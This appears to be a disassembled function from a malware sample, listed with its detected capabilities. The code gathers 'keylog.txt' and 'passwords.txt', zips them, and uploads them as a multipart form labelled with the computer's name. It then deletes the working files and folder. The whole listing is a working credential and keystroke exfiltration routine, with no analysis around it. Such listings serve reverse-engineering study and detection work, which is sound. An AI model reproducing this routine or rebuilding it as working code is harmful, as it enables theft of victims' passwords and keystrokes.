Function at 0x10011c80
Capabilities:
Check if file exists
Copy file
Delete directory
Delete file
Get common file path
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
xor eax, eax
push 0x10050bb8
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x530]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp + 8]
push ecx
push 0x1005ae00
push 0x100463c0
lea edx, [ebp - 0x110]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10012325
mov esi, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10011d13
test dl, dl
je 0x10011d0f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10011d13
add eax, 2
add ecx, 2
test dl, dl
jne 0x10011cf3
xor eax, eax
jmp 0x10011d18
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011d57
mov ecx, 0x10046638
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10011d43
test dl, dl
je 0x10011d3f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10011d43
add eax, 2
add ecx, 2
test dl, dl
jne 0x10011d23
xor eax, eax
jmp 0x10011d48
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011d57
lea eax, [ebp - 0x110]
call fcn.10003ed0
mov ecx, 0x10046638
mov eax, esi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10011d80
test dl, dl
je 0x10011d7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10011d80
add eax, 2
add ecx, 2
test dl, dl
jne 0x10011d60
xor eax, eax
jmp 0x10011d85
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011eb3
xor eax, eax
nop
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10011d90
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea ecx, [ebp - 0x218]
push ecx
call ebx
lea eax, [ebp - 0x218]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011dc0
mov edx, dword [str.keylog.txt]
mov ecx, dword [0x10049bcc]
mov dword [eax], edx
mov dx, word [0x10049bd0]
mov dword [eax + 4], ecx
mov cl, byte [0x10049bd2]
mov word [eax + 8], dx
lea edx, [ebp - 0x428]
push edx
push 0
push 0
push 0x1a
push 0
mov byte [eax + 0xa], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x428]
push eax
call ebx
mov eax, 0x1005b9e8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10011e12
lea edi, [ebp - 0x428]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10011e24
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x10011e60
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10011e60
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp - 0x218]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011e83
mov ecx, dword [str.passwords.txt]
mov edx, dword [0x10049bd8]
mov esi, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [0x10049bdc]
mov dword [eax + 4], edx
mov dx, word [0x10049be0]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov ecx, str.DEBUG
mov eax, esi
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10011ee0
test dl, dl
je 0x10011edc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10011ee0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10011ec0
xor eax, eax
jmp 0x10011ee5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011f35
mov ecx, 0x10046638
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10011f10
test dl, dl
je 0x10011f0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10011f10
add eax, 2
add ecx, 2
test dl, dl
jne 0x10011ef0
xor eax, eax
jmp 0x10011f15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011f35
push 0
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x1005ae00
push str._s_u.zip
lea edx, [ebp - 0x320]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10012325
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x320]
push ecx
call fcn.10028c30
mov edi, eax
test edi, edi
je 0x10011fad
push 0
push esi
push edi
call fcn.10028dc0
push edi
call fcn.10028d30
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x110]
push edx
call fcn.10005810
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x320]
push edx
call fcn.10005a70
mov dword [ebp - 4], eax
test eax, eax
je 0x10012325
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012000
sub eax, edx
xor ebx, ebx
add eax, 0x1000
je 0x1001203a
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1001203a
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x10012325
mov ecx, 7
mov esi, str._____________________________
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, 0x1005acf8
movsw word es:[edi], word [esi]
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012060
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012070
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012090
mov cx, word [0x100460fc]
mov word [eax], cx
mov dl, byte [0x100460fe]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100120b0
mov eax, dword [ebp + 0xc]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_pcname__r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, eax
jmp 0x100120d0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100120d0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100120e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012100
mov ax, word [0x10049c44]
push 1
mov word [edi], ax
call fcn.10003480
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012120
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012130
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012150
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x1005acf8
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10012170
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012170
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012180
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100121a0
mov cx, word [0x100460fc]
mov word [eax], cx
mov dl, byte [0x100460fe]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100121c0
mov ecx, 0x10
mov esi, str.Content_Disposition:_form_data__name_file___filename_report__r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100121d8
mov eax, dword [ebp - 4]
mov ecx, 7
mov esi, str.Content_Type:_text_plain_r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100121f2
sub eax, esi
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012200
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10012220
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x1005acf8
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10012240
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012240
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10012250
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10012270
mov ecx, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [eax], ecx
mov dl, byte [0x10049cd0]
mov byte [eax + 4], dl
xor esi, esi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012296
sub eax, edx
push ebx
call fcn.10011b00
test eax, eax
jne 0x100122bd
push 0x7530
call edi
inc esi
cmp esi, 1
jl 0x10012291
push 1
call fcn.10004f90
mov esi, dword [ebp + 0xc]
mov edx, str.DEBUG
mov ecx, esi
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100122e7
test al, al
je 0x100122e3
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100122e7
add ecx, 2
add edx, 2
test al, al
jne 0x100122c7
xor eax, eax
jmp 0x100122ec
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012325
mov ecx, 0x10046638
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012317
test dl, dl
je 0x10012313
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012317
add eax, 2
add ecx, 2
test dl, dl
jne 0x100122f7
xor eax, eax
jmp 0x1001231c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012325
call fcn.10003740
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1001235f
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
je 0x10012391
mov ecx, dword [ebp - 4]
push ecx
push 0
call ebx
push eax
call esi
test eax, eax
je 0x10012391
mov edx, dword [ebp - 4]
push edx
push 0
call ebx
push eax
call edi
cmp dword [ebp - 8], 0
je 0x100123b1
mov eax, dword [ebp - 8]
push eax
push 0
call ebx
push eax
call esi
test eax, eax
je 0x100123b1
mov ecx, dword [ebp - 8]
push ecx
push 0
call ebx
push eax
call edi
push 0x10050bb8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8